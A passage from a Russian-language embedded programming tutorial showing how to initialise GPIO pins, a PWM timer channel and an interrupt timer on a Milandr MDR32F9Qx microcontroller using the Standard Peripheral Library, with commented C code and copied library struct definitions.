Led0PortC_structInit.PORT_Pin = LED1; // Пин нашего светодиода.
Led0PortC_structInit.PORT_FUNC = PORT_FUNC_PORT; // Вывод работают в режиме обычного порта.
Led0PortC_structInit.PORT_GFEN = PORT_GFEN_OFF; // Входной фильтр отключен.
Led0PortC_structInit.PORT_MODE = PORT_MODE_DIGITAL; // Вывод цифровой.
Led0PortC_structInit.PORT_OE = PORT_OE_OUT; // Вывод работает на выход.
Led0PortC_structInit.PORT_PD = PORT_PD_DRIVER; // Управляемый драйвер.
Led0PortC_structInit.PORT_PD_SHM = PORT_PD_SHM_OFF; // Триггер Шмитта выключен.
Led0PortC_structInit.PORT_PULL_DOWN = PORT_PULL_DOWN_OFF; // Подтяжка в 0 отключена.
Led0PortC_structInit.PORT_PULL_UP = PORT_PULL_UP_OFF; // Подтяжка в 1 отключена.
Led0PortC_structInit.PORT_SPEED = PORT_SPEED_MAXFAST; // Работа вывода с максимальной скоростью.
PORT_Init(MDR_PORTC, &Led0PortC_structInit); // Инициализируем порт.
}
```
Функция инициализации клавиш проходит аналогичным образом. Разница лишь в том, что мы указываем режим вывода вместо выхода — вход (*PORT\_OE\_IN*), а так же включаем входной фильтр (*PORT\_GFEN\_ON*).**Функция инициализации выводов, подключенных к кнопкам.**
```
void initPinForButtonSPL (void)
{
// Генерируем структуры инициализации портов.
PORT_InitTypeDef buttonPortB_structInit; // Структура для иницализации входов кнопоки на порту C.
PORT_InitTypeDef buttonPortC_structInit; // Выходы на порту C.
PORT_InitTypeDef buttonPortE_structInit; // Не порту E.
// Включаем тактирование портов.
RST_CLK_PCLKcmd(RST_CLK_PCLK_PORTB, ENABLE); // Включаем тактирование порта B.
RST_CLK_PCLKcmd(RST_CLK_PCLK_PORTC, ENABLE); // Включаем тактирование порта C.
RST_CLK_PCLKcmd(RST_CLK_PCLK_PORTE, ENABLE); // Включаем тактирование порта E.
// Заполняем стркутуры портов.
buttonPortB_structInit.PORT_FUNC = PORT_FUNC_PORT; // Выводы работают в режиме обычного порта.
buttonPortB_structInit.PORT_GFEN = PORT_GFEN_ON; // Входной фильтр отключен на обоих выводах.
buttonPortB_structInit.PORT_MODE = PORT_MODE_DIGITAL; // Оба вывода цифровые.
buttonPortB_structInit.PORT_OE = PORT_OE_IN; // Выводы работают на вход.
buttonPortB_structInit.PORT_PD = PORT_PD_DRIVER; // Управляемый драйвер.
buttonPortB_structInit.PORT_PD_SHM = PORT_PD_SHM_OFF; // Триггер Шмитта выключен.
buttonPortB_structInit.PORT_Pin = UP_MSK|RIGHT_MSK; // Все вышеупомянутые настройки только для двух выводов.
buttonPortB_structInit.PORT_PULL_DOWN = PORT_PULL_DOWN_OFF; // Подтяжка в 0 отключена.
buttonPortB_structInit.PORT_PULL_UP = PORT_PULL_UP_OFF; // Подтяжка в 1 отключена.
buttonPortB_structInit.PORT_SPEED = PORT_SPEED_MAXFAST; // Работа выводов с максимальной скоростью.
buttonPortC_structInit.PORT_FUNC = PORT_FUNC_PORT; // PORTC.
buttonPortC_structInit.PORT_GFEN = PORT_GFEN_ON;
buttonPortC_structInit.PORT_MODE = PORT_MODE_DIGITAL;
buttonPortC_structInit.PORT_OE = PORT_OE_IN;
buttonPortC_structInit.PORT_PD = PORT_PD_DRIVER;
buttonPortC_structInit.PORT_PD_SHM = PORT_PD_SHM_OFF;
buttonPortC_structInit.PORT_Pin = SELECT_MSK;
buttonPortC_structInit.PORT_PULL_DOWN = PORT_PULL_DOWN_OFF;
buttonPortC_structInit.PORT_PULL_UP = PORT_PULL_UP_OFF;
buttonPortC_structInit.PORT_SPEED = PORT_SPEED_MAXFAST;
buttonPortE_structInit.PORT_FUNC = PORT_FUNC_PORT; // PORTE.
buttonPortE_structInit.PORT_GFEN = PORT_GFEN_ON;
buttonPortE_structInit.PORT_MODE = PORT_MODE_DIGITAL;
buttonPortE_structInit.PORT_OE = PORT_OE_IN;
buttonPortE_structInit.PORT_PD = PORT_PD_DRIVER;
buttonPortE_structInit.PORT_PD_SHM = PORT_PD_SHM_OFF;
buttonPortE_structInit.PORT_Pin = DOWN_MSK|LEFT_MSK;
buttonPortE_structInit.PORT_PULL_DOWN = PORT_PULL_DOWN_OFF;
buttonPortE_structInit.PORT_PULL_UP = PORT_PULL_UP_OFF;
buttonPortE_structInit.PORT_SPEED = PORT_SPEED_MAXFAST;
// Инициализируем порты.
PORT_Init(MDR_PORTB, &buttonPortB_structInit);
PORT_Init(MDR_PORTC, &buttonPortC_structInit);
PORT_Init(MDR_PORTE, &buttonPortE_structInit);
}
```
#### Настройка таймера для генерации ШИМ (PWM).
Прежде чем настраивать сам таймер — настроим вывод порта ввода-вывода, на который будем выводить ШИМ в режим альтернативной функции. Помним, что в прошлой статье мы использовали порт PORTA и вывод 1.**Выйдет следующее.**
```
RST_CLK_PCLKcmd(RST_CLK_PCLK_PORTA, ENABLE); // Включаем тактирование порта A.
PWMPortA_structInit.PORT_FUNC = PORT_FUNC_ALTER; // Вывод работают в режиме альтернативной функции.
PWMPortA_structInit.PORT_GFEN = PORT_GFEN_OFF; // Входной фильтр отключен.
PWMPortA_structInit.PORT_MODE = PORT_MODE_DIGITAL; // Вывод цифровой.
PWMPortA_structInit.PORT_OE = PORT_OE_OUT; // Вывод работает на выход.
PWMPortA_structInit.PORT_PD = PORT_PD_DRIVER; // Управляемый драйвер.
PWMPortA_structInit.PORT_PD_SHM = PORT_PD_SHM_OFF; // Триггер Шмитта выключен.
PWMPortA_structInit.PORT_Pin = PORT_Pin_1; // Пин нашего светодиода.
PWMPortA_structInit.PORT_PULL_DOWN = PORT_PULL_DOWN_OFF; // Подтяжка в 0 отключена.
PWMPortA_structInit.PORT_PULL_UP = PORT_PULL_UP_OFF; // Подтяжка в 1 отключена.
PWMPortA_structInit.PORT_SPEED = PORT_SPEED_MAXFAST; // Работа вывода с максимальной скоростью.
PORT_Init(MDR_PORTA, &PWMPortA_structInit); // Инициализируем порт.
```
Теперь мы можем приступить к настройке самого таймера. Прежде всего, нам нужно подать тактирование на TIMER1. Сделать это можно так же с помощью функции **RST\_CLK\_PCLKcmd**, рассмотренной ранее.
```
RST_CLK_PCLKcmd(RST_CLK_PCLK_TIMER1, ENABLE); // Включаем тактирование таймера 1.
```
Далее стоит ясно обозначить задачу. Нам нужно:1. Настроить основной таймер.
2. Настроить канал таймера.
3. Настроить вывод таймера.
4. Настроить тактовую частоту для работы всего таймера.
5. Включить таймер.
Для каждого пункта в SPL есть своя функция, а для первых трех пунктов существуют еще и свои структуры. Все функции и их параметры находятся в файле MDR32F9Qx\_timer.h. Начнем с первого пункта. Для инициализации основного таймера существует функция **TIMER\_CntInit**.
```
void TIMER_CntInit(MDR_TIMER_TypeDef* TIMERx, const TIMER_CntInitTypeDef* TIMER_CntInitStruct);
```
Здесь два параметра.* **TIMERx** — выбранный для инициализации таймер. Указывается он в формате MDR\_TIMERX, где X — номер нужного таймера. В нашем случае — MDR\_TIMER1.
* **Структура типа TIMER\_CntInitTypeDef** — в данной структуре имеется перечисление всех возможных параметров основного таймера.**Вот ее описание.**typedef struct {
#if defined(USE\_MDR1986VE9x) /\* For Cortex M3 \*/
uint16\_t TIMER\_IniCounter; /\*!< Specifies the initial counter value.
This parameter can be a number between 0x0000 and 0xFFFF. \*/
#elif ((defined (USE\_MDR1986VE3)) || (defined (USE\_MDR1986VE1T)))
uint32\_t TIMER\_IniCounter; /\*!< Specifies the initial counter value.
This parameter can be a number between 0x0000 and 0xFFFFFFFF. \*/
#endif // #elif ((defined (USE\_MDR1986VE3)) || (defined (USE\_MDR1986VE1T)))
uint16\_t TIMER\_Prescaler; /\*!< Specifies the prescaler value used to divide the TIMER clock.
This parameter can be a number between 0x0000 and 0xFFFF.
CLK = TIMER\_CLK/(TIMER\_Prescaler + 1) \*/
#if defined(USE\_MDR1986VE9x) /\* For Cortex M3 \*/
uint16\_t TIMER\_Period; /\*!< Specifies the period value to be loaded into the
Auto-Reload Register (ARR) at the next update event.
This parameter must be a number between 0x0000 and 0xFFFF. \*/
#elif ((defined (USE\_MDR1986VE3)) || (defined (USE\_MDR1986VE1T))) /\* For Cortex M1 \*/
uint32\_t TIMER\_Period; /\*!< Specifies the period value to be loaded into the
Auto-Reload Register (ARR) at the next update event.
This parameter must be a number between 0x0000 and 0xFFFFFFFF. \*/
#endif // #elif ((defined (USE\_MDR1986VE3)) || (defined (USE\_MDR1986VE1T))) /\* For Cortex M1 \*/
uint16\_t TIMER\_CounterMode; /\*!< Specifies the counter mode.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_Counter\_Mode \*/
uint16\_t TIMER\_CounterDirection; /\*!< Specifies the counter direction.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_Counter\_Direction \*/
uint16\_t TIMER\_EventSource; /\*!< Specifies the Counter Event source.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_Event\_Source \*/
uint16\_t TIMER\_FilterSampling; /\*!< Specifies the filter sampling clock (FDTS).
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_Filter\_Sampling \*/
uint16\_t TIMER\_ARR\_UpdateMode; /\*!< Specifies the Auto-Reload Register (ARR) updating mode.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_ARR\_Update\_Mode \*/
uint16\_t TIMER\_ETR\_FilterConf; /\*!< Specifies the ETR Filter configuration.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_FilterConfiguration \*/
uint16\_t TIMER\_ETR\_Prescaler; /\*!< Specifies the ETR Prescaler configuration.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_ETR\_Prescaler \*/
uint16\_t TIMER\_ETR\_Polarity; /\*!< Specifies the ETR Polarity configuration.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_ETR\_Polarity \*/
uint16\_t TIMER\_BRK\_Polarity; /\*!< Specifies the BRK Polarity configuration.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_BRK\_Polarity \*/
} TIMER\_CntInitTypeDef;
**Заполнив все поля и инициализировав таймер получим следующее.**
```
TIMER_CntInitTypeDef timerPWM_structInit; // Структура для настройки основного таймера (без каналов).
// Заполняем структуру таймера.
timerPWM_structInit.TIMER_ARR_UpdateMode = TIMER_ARR_Update_Immediately; // Регистр ARR можно обновлять в любое время.
timerPWM_structInit.TIMER_BRK_Polarity = TIMER_BRKPolarity_NonInverted; // BRK сигнал не инвертируется (нас этот параметр не касается).
timerPWM_structInit.TIMER_CounterDirection = TIMER_CntDir_Up; // Считаем "вверх". CNT инкрементируется (CNT++).
timerPWM_structInit.TIMER_CounterMode = TIMER_CntMode_ClkFixedDir; // Считаем в одну сторону, вверх.
timerPWM_structInit.TIMER_ETR_FilterConf = TIMER_Filter_1FF_at_TIMER_CLK; // Сигнал зафиксирован в 1-м триггере на частоте TIM_CLK (В нашем случае оставляем по-умолчанию).
timerPWM_structInit.TIMER_ETR_Polarity = TIMER_ETRPolarity_NonInverted; // ETR на входе не инвертируется (мы его и не используем).
timerPWM_structInit.TIMER_ETR_Prescaler = TIMER_ETR_Prescaler_None; // Частота ETR на входе не делится (ETR не используем.).
timerPWM_structInit.TIMER_EventSource = TIMER_EvSrc_None; // Таймер не вызывает прерываний.
timerPWM_structInit.TIMER_FilterSampling = TIMER_FDTS_TIMER_CLK_div_1; // FDTS = TIMER_CLK. (Так не используем.).
timerPWM_structInit.TIMER_IniCounter = 0; // Считаем с 0. Начальное значение счетчика. (CNT = 0.).
timerPWM_structInit.TIMER_Period = PWM_speed; // Считаем до указанного в параметрах функции значения (ARR = PWM_speed).
timerPWM_structInit.TIMER_Prescaler = 32000 - 1;// Делитель входного сигнала. PSG регистр.
TIMER_CntInit(MDR_TIMER1, &timerPWM_structInit); // Инициализируем основной таймер.
```
Как можно видеть из комментариев к коду заполнения структуры — большинство пунктов остаются по-умолчанию (отключенными). Но не смотря на это, из все равно нужно указать.
Далее нужно инициализировать канал таймера. В нашем случае — первый. За инициализицию каналов отвечает функция **TIMER\_ChnInit**.
```
void TIMER_ChnInit(MDR_TIMER_TypeDef* TIMERx, const TIMER_ChnInitTypeDef* TIMER_ChnInitStruct)
```
Первым параметром идет имя инициализируемого таймера. Оно остается тем же, что и у функции инициализации основного таймера. А вот структура уже типа **TIMER\_ChnInitTypeDef**.**Вот ее описание.**typedef struct
{
uint16\_t TIMER\_CH\_Number; /\*!< Specifies the TIMER Channel number to be configured.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_Number \*/
uint16\_t TIMER\_CH\_Mode; /\*!< Specifies the TIMER Channel mode.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_Mode \*/
uint16\_t TIMER\_CH\_ETR\_Ena; /\*!< Enables or disables ETR.
This parameter can be a value of FunctionalState \*/
uint16\_t TIMER\_CH\_ETR\_Reset; /\*!< Enables or disables ETR Reset.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_ETR\_Reset \*/
uint16\_t TIMER\_CH\_BRK\_Reset; /\*!< Enables or disables BRK Reset.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_BRK\_Reset \*/
uint16\_t TIMER\_CH\_REF\_Format; /\*!< Specifies the REF signal format.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_REF\_Format \*/
uint16\_t TIMER\_CH\_Prescaler; /\*!< Specifies the TIMER Channel Prescaler configuration.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_Prescaler \*/
uint16\_t TIMER\_CH\_EventSource; /\*!< Specifies the Channel Event source.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_EventSource \*/
uint16\_t TIMER\_CH\_FilterConf; /\*!< Specifies the TIMER Channel Filter configuration.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_FilterConfiguration \*/
uint16\_t TIMER\_CH\_CCR\_UpdateMode; /\*!< Specifies the TIMER CCR, CCR1 update mode.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_CCR\_Update\_Mode \*/
uint16\_t TIMER\_CH\_CCR1\_Ena; /\*!< Enables or disables the CCR1 register.
This parameter can be a value of FunctionalState \*/
uint16\_t TIMER\_CH\_CCR1\_EventSource; /\*!< Specifies the Channel CCR1 Event source.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_CCR1\_EventSource \*/
}TIMER\_ChnInitTypeDef;**Так же заполняем и инициализируем.**
```
TIMER_ChnInitTypeDef timerPWM_channelStructInit; // Структура канала ШИМ.
// Заполняем структуру PWM канала.
timerPWM_channelStructInit.TIMER_CH_BRK_Reset = TIMER_CH_BRK_RESET_Disable; // Сброс канала BRK не производится (BRK не используем).
timerPWM_channelStructInit.TIMER_CH_CCR1_Ena = DISABLE; // CCR1 не используем.
timerPWM_channelStructInit.TIMER_CH_CCR1_EventSource = TIMER_CH_CCR1EvSrc_PE; // Выбор события по входному каналу для CAP1: положительный фронт по Chi. (По умолчанию, мы не используем).
timerPWM_channelStructInit.TIMER_CH_CCR_UpdateMode = TIMER_CH_CCR_Update_Immediately; // Регистр CCR можно обновлять в любое время (CCR не используем).
timerPWM_channelStructInit.TIMER_CH_ETR_Ena = DISABLE; // ETR не используется.
timerPWM_channelStructInit.TIMER_CH_ETR_Reset = TIMER_CH_ETR_RESET_Disable; // Сброс ETR не производится.
timerPWM_channelStructInit.TIMER_CH_EventSource = TIMER_CH_EvSrc_PE; // Выбор события по входному каналу: положительный фронт. (Так же не используется).
timerPWM_channelStructInit.TIMER_CH_FilterConf = TIMER_Filter_1FF_at_TIMER_CLK; // Входной сигнал от TIMER_CLK фиксируется одним триггером.
timerPWM_channelStructInit.TIMER_CH_Mode = TIMER_CH_MODE_PWM; // Канал в ШИМ режиме.
timerPWM_channelStructInit.TIMER_CH_Number = TIMER_CHANNEL1; // Первый канал.
timerPWM_channelStructInit.TIMER_CH_Prescaler = TIMER_CH_Prescaler_None; // В канале частота не делится.
timerPWM_channelStructInit.TIMER_CH_REF_Format = TIMER_CH_REF_Format3; // Сигнал REF меняется при CNT == ARR.
TIMER_ChnInit(MDR_TIMER1, &timerPWM_channelStructInit); // Инициализируем канал.
```
Замечу, что именно в этой функции мы формируем сигнал на REF для ШИМ.
Далее нужно настроить канал таймера на выход. Для этого есть функция **TIMER\_ChnOutInit**.
```
void TIMER_ChnOutInit(MDR_TIMER_TypeDef* TIMERx, const TIMER_ChnOutInitTypeDef* TIMER_ChnOutInitStruct);
```
Первым параметром так же идет имя нашего таймера. Второй — структура **TIMER\_ChnOutInitStruct**.**Ее описание.**typedef struct
{
uint16\_t TIMER\_CH\_Number; /\*!< Specifies the TIMER Channel number to be configured.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_Number \*/
uint16\_t TIMER\_CH\_DirOut\_Polarity; /\*!< Specifies the TIMER CHx output polarity.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_OUT\_Polarity \*/
uint16\_t TIMER\_CH\_DirOut\_Source; /\*!< Specifies the TIMER CHx output source.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_OUT\_Source \*/
uint16\_t TIMER\_CH\_DirOut\_Mode; /\*!< Specifies the TIMER CHx output enable source.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_OUT\_Mode \*/
uint16\_t TIMER\_CH\_NegOut\_Polarity; /\*!< Enables or disables the TIMER CHxN output inversion.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_OUT\_Polarity \*/
uint16\_t TIMER\_CH\_NegOut\_Source; /\*!< Specifies the TIMER CHxN output source.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_OUT\_Source \*/
uint16\_t TIMER\_CH\_NegOut\_Mode; /\*!< Specifies the TIMER CHxN output enable source.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_OUT\_Mode \*/
uint16\_t TIMER\_CH\_DTG\_MainPrescaler; /\*!< Specifies the main prescaler of TIMER DTG.
This parameter can be a number between 0x0000 and 0x00FF.
Delay DTGdel = TIMER\_CH\_DTG\_MainPrescaler\*(TIMER\_CH\_DTG\_AuxPrescaler + 1) clocks. \*/
uint16\_t TIMER\_CH\_DTG\_AuxPrescaler; /\*!< Specifies the auxiliary prescaler of TIMER DTG.
This parameter can be a number between 0x0000 and 0x000F.
Delay DTGdel = TIMER\_CH\_DTG\_MainPrescaler\*(TIMER\_CH\_DTG\_AuxPrescaler + 1) clocks. \*/
uint16\_t TIMER\_CH\_DTG\_ClockSource; /\*!< Specifies the TIMER DTG clock source.
This parameter can be a value of [ref](https://habr.com/ru/users/ref/) TIMER\_CH\_DTG\_Clock\_Source \*/
}TIMER\_ChnOutInitTypeDef;**После заполнения структуры и инициализации будем наблюдать следующий код.**
```
TIMER_ChnOutInitTypeDef timerPWM_channelOUTPWMStructInit; // Структура настройки выхода канала ШИМ.
// Параметры выхода.
timerPWM_channelOUTPWMStructInit.TIMER_CH_DirOut_Mode = TIMER_CH_OutMode_Output; // Всегда выход.
timerPWM_channelOUTPWMStructInit.TIMER_CH_DirOut_Polarity = TIMER_CHOPolarity_NonInverted; // Неинвертированный.
timerPWM_channelOUTPWMStructInit.TIMER_CH_DirOut_Source = TIMER_CH_OutSrc_REF; // На выход REF сигнал.
timerPWM_channelOUTPWMStructInit.TIMER_CH_DTG_AuxPrescaler = 0; // Делителя не стоит.
timerPWM_channelOUTPWMStructInit.TIMER_CH_DTG_ClockSource = TIMER_CH_DTG_ClkSrc_TIMER_CLK; // Источник тактового сигнала для DTG - TIMER_CLK. Но DTG мы все равно не используем.
timerPWM_channelOUTPWMStructInit.TIMER_CH_DTG_MainPrescaler = 0; // Делитель сигнала на DTG.
timerPWM_channelOUTPWMStructInit.TIMER_CH_NegOut_Mode = TIMER_CH_OutMode_Input; // Инвертный канал на вход. Все остальные его параметр берем по умолчанию, т.к. они не важны.
timerPWM_channelOUTPWMStructInit.TIMER_CH_NegOut_Polarity = TIMER_CHOPolarity_NonInverted; // Без инвертирования инвертированного канала.
timerPWM_channelOUTPWMStructInit.TIMER_CH_NegOut_Source = TIMER_CH_DTG_ClkSrc_TIMER_CLK; // Источник тактового сигнала для DTG - TIMER_CLK.
timerPWM_channelOUTPWMStructInit.TIMER_CH_Number = TIMER_CHANNEL1; // Первый канал.
TIMER_ChnOutInit(MDR_TIMER1, &timerPWM_channelOUTPWMStructInit); // Настраиваем канал на выход.
```
Теперь осталось только подать тактирование на таймер и запустить его. Для подачи тактового сигнала (именно тот, на основе которого таймер ведет счет) есть функция **TIMER\_BRGInit**.
```
void TIMER_BRGInit(MDR_TIMER_TypeDef* TIMERx, uint32_t TIMER_BRG);
```
Первый параметр, как обычно, имя таймера, второй — делитель. Делитель рассчитывается так же, как и для регистра PSG в предыдущей статье (по сути эта функция лишь пишет наш делитель в PSG...). Так же отмечу, что эта же функция и разрешает подачу сигнала тактирования на таймер по-умолчанию. Ну а за включение отвечает функция **TIMER\_Cmd**.
```
void TIMER_Cmd(MDR_TIMER_TypeDef* TIMERx, FunctionalState NewState)
```
Параметры — имя таймера и его состояние *ENABLE/DISABLE*. **По итогу всей настройки получаем следующее.**// Инициализация таймера в режиме ШИМ для работы со светодиодом в режиме SPL.
void initTimerPWMledSPL (uint32\_t PWM\_speed)
{
PORT\_InitTypeDef PWMPortA\_structInit; // Структура для инициализации вывода таймера в режиме ШИМ.
TIMER\_CntInitTypeDef timerPWM\_structInit; // Структура для настройки основного таймера (без каналов).
TIMER\_ChnInitTypeDef timerPWM\_channelStructInit; // Структура канала ШИМ.
TIMER\_ChnOutInitTypeDef timerPWM\_channelOUTPWMStructInit; // Структура настройки выхода канала ШИМ.
RST\_CLK\_PCLKcmd(RST\_CLK\_PCLK\_PORTA, ENABLE); // Включаем тактирование порта A.
RST\_CLK\_PCLKcmd(RST\_CLK\_PCLK\_TIMER1, ENABLE); // Включаем тактирование таймера 1.
PWMPortA\_structInit.PORT\_FUNC = PORT\_FUNC\_ALTER; // Вывод работают в режиме альтернативной функции.
PWMPortA\_structInit.PORT\_GFEN = PORT\_GFEN\_OFF; // Входной фильтр отключен.
PWMPortA\_structInit.PORT\_MODE = PORT\_MODE\_DIGITAL; // Вывод цифровой.
PWMPortA\_structInit.PORT\_OE = PORT\_OE\_OUT; // Вывод работает на выход.
PWMPortA\_structInit.PORT\_PD = PORT\_PD\_DRIVER; // Управляемый драйвер.
PWMPortA\_structInit.PORT\_PD\_SHM = PORT\_PD\_SHM\_OFF; // Триггер Шмитта выключен.
PWMPortA\_structInit.PORT\_Pin = PORT\_Pin\_1; // Пин нашего светодиода.
PWMPortA\_structInit.PORT\_PULL\_DOWN = PORT\_PULL\_DOWN\_OFF; // Подтяжка в 0 отключена.
PWMPortA\_structInit.PORT\_PULL\_UP = PORT\_PULL\_UP\_OFF; // Подтяжка в 1 отключена.
PWMPortA\_structInit.PORT\_SPEED = PORT\_SPEED\_MAXFAST; // Работа вывода с максимальной скоростью.
PORT\_Init(MDR\_PORTA, &PWMPortA\_structInit); // Инициализируем порт.
// Заполняем структуру таймера.
timerPWM\_structInit.TIMER\_ARR\_UpdateMode = TIMER\_ARR\_Update\_Immediately; // Регистр ARR можно обновлять в любое время.
timerPWM\_structInit.TIMER\_BRK\_Polarity = TIMER\_BRKPolarity\_NonInverted; // BRK сигнал не инвертируется (нас этот параметр не касается).
timerPWM\_structInit.TIMER\_CounterDirection = TIMER\_CntDir\_Up; // Считаем «вверх». CNT инкрементируется (CNT++).
timerPWM\_structInit.TIMER\_CounterMode = TIMER\_CntMode\_ClkFixedDir; // Считаем в одну сторону, вверх.
timerPWM\_structInit.TIMER\_ETR\_FilterConf = TIMER\_Filter\_1FF\_at\_TIMER\_CLK; // Сигнал зафиксирован в 1-м триггере на частоте TIM\_CLK (В нашем случае оставляем по-умолчанию).
timerPWM\_structInit.TIMER\_ETR\_Polarity = TIMER\_ETRPolarity\_NonInverted; // ETR на входе не инвертируется (мы его и не используем).
timerPWM\_structInit.TIMER\_ETR\_Prescaler = TIMER\_ETR\_Prescaler\_None; // Частота ETR на входе не делится (ETR не используем.).
timerPWM\_structInit.TIMER\_EventSource = TIMER\_EvSrc\_None; // Таймер не вызывает прерываний.
timerPWM\_structInit.TIMER\_FilterSampling = TIMER\_FDTS\_TIMER\_CLK\_div\_1; // FDTS = TIMER\_CLK. (Так не используем.).
timerPWM\_structInit.TIMER\_IniCounter = 0; // Считаем с 0. Начальное значение счетчика. (CNT = 0.).
timerPWM\_structInit.TIMER\_Period = PWM\_speed; // Считаем до указанного в параметрах функции значения (ARR = PWM\_speed).
timerPWM\_structInit.TIMER\_Prescaler = 32000 — 1; // Делитель входного сигнала. PSG регистр.
TIMER\_CntInit(MDR\_TIMER1, &timerPWM\_structInit); // Инициализируем основной таймер.
// Заполняем структуру PWM канала.
timerPWM\_channelStructInit.TIMER\_CH\_BRK\_Reset = TIMER\_CH\_BRK\_RESET\_Disable; // Сброс канала BRK не производится (BRK не используем).
timerPWM\_channelStructInit.TIMER\_CH\_CCR1\_Ena = DISABLE; // CCR1 не используем.
timerPWM\_channelStructInit.TIMER\_CH\_CCR1\_EventSource = TIMER\_CH\_CCR1EvSrc\_PE; // Выбор события по входному каналу для CAP1: положительный фронт по Chi. (По умолчанию, мы не используем).
timerPWM\_channelStructInit.TIMER\_CH\_CCR\_UpdateMode = TIMER\_CH\_CCR\_Update\_Immediately; // Регистр CCR можно обновлять в любое время (CCR не используем).
timerPWM\_channelStructInit.TIMER\_CH\_ETR\_Ena = DISABLE; // ETR не используется.
timerPWM\_channelStructInit.TIMER\_CH\_ETR\_Reset = TIMER\_CH\_ETR\_RESET\_Disable; // Сброс ETR не производится.
timerPWM\_channelStructInit.TIMER\_CH\_EventSource = TIMER\_CH\_EvSrc\_PE; // Выбор события по входному каналу: положительный фронт. (Так же не используется).
timerPWM\_channelStructInit.TIMER\_CH\_FilterConf = TIMER\_Filter\_1FF\_at\_TIMER\_CLK; // Входной сигнал от TIMER\_CLK фиксируется одним триггером.
timerPWM\_channelStructInit.TIMER\_CH\_Mode = TIMER\_CH\_MODE\_PWM; // Канал в ШИМ режиме.
timerPWM\_channelStructInit.TIMER\_CH\_Number = TIMER\_CHANNEL1; // Первый канал.
timerPWM\_channelStructInit.TIMER\_CH\_Prescaler = TIMER\_CH\_Prescaler\_None; // В канале частота не делится.
timerPWM\_channelStructInit.TIMER\_CH\_REF\_Format = TIMER\_CH\_REF\_Format3; // Сигнал REF меняется при CNT == ARR.
TIMER\_ChnInit(MDR\_TIMER1, &timerPWM\_channelStructInit); // Инициализируем канал.
// Параметры выхода.
timerPWM\_channelOUTPWMStructInit.TIMER\_CH\_DirOut\_Mode = TIMER\_CH\_OutMode\_Output; // Всегда выход.
timerPWM\_channelOUTPWMStructInit.TIMER\_CH\_DirOut\_Polarity = TIMER\_CHOPolarity\_NonInverted; // Не инвертированный.
timerPWM\_channelOUTPWMStructInit.TIMER\_CH\_DirOut\_Source = TIMER\_CH\_OutSrc\_REF; // На выход REF сигнал.
timerPWM\_channelOUTPWMStructInit.TIMER\_CH\_DTG\_AuxPrescaler = 0; // Делителя не стоит.
timerPWM\_channelOUTPWMStructInit.TIMER\_CH\_DTG\_ClockSource = TIMER\_CH\_DTG\_ClkSrc\_TIMER\_CLK; // Источник тактового сигнала для DTG — TIMER\_CLK. Но DTG мы все равно не используем.
timerPWM\_channelOUTPWMStructInit.TIMER\_CH\_DTG\_MainPrescaler = 0; // Делитель сигнала на DTG.
timerPWM\_channelOUTPWMStructInit.TIMER\_CH\_NegOut\_Mode = TIMER\_CH\_OutMode\_Input; // Инвертный канал на вход. Все остальные его параметр берем по умолчанию, т.к. они не важны.
timerPWM\_channelOUTPWMStructInit.TIMER\_CH\_NegOut\_Polarity = TIMER\_CHOPolarity\_NonInverted;// Без инвертирования инвертированного канала.
timerPWM\_channelOUTPWMStructInit.TIMER\_CH\_NegOut\_Source = TIMER\_CH\_DTG\_ClkSrc\_TIMER\_CLK; // Источник тактового сигнала для DTG — TIMER\_CLK.
timerPWM\_channelOUTPWMStructInit.TIMER\_CH\_Number = TIMER\_CHANNEL1; // Первый канал.
TIMER\_ChnOutInit(MDR\_TIMER1, &timerPWM\_channelOUTPWMStructInit); // Настраиваем канал на выход.
TIMER\_BRGInit(MDR\_TIMER1, TIMER\_HCLKdiv1); // Подаем источник сигнала для счета (частота процессора без предделителя). // В этой функции выбор делителя (у нас «1») и включение подачи такта.
TIMER\_Cmd(MDR\_TIMER1, ENABLE); // Включаем таймер.
}
#### Настройка таймера для вызова прерываний (IRQ)
Далее нам нужно настроить таймер, генерирующий прерывания для опроса клавиш. Здесь нам нужно будет настроить таймер лишь по первой структуре. Так как каналы и выходы мы не используем. Инициализация таймера будет выглядеть так же, как у предыдущего, за исключением ячейки *TIMER\_EventSource*. В ней мы должны указать, по какому событию у нас происходит прерывание. В прошлой статье мы использовали CNT == ARR. Его и используем. **А вообще, возможны следующие варианты.**
```
#define TIMER_EvSrc_None (((uint32_t)0x0) << TIMER_CNTRL_EVENT_SEL_Pos) /*!< No events. */
#define TIMER_EvSrc_TM1 (((uint32_t)0x1) << TIMER_CNTRL_EVENT_SEL_Pos) /*!< Selects TIMER1 (CNT == ARR) event. */
#define TIMER_EvSrc_TM2 (((uint32_t)0x2) << TIMER_CNTRL_EVENT_SEL_Pos) /*!< Selects TIMER2 (CNT == ARR) event. */
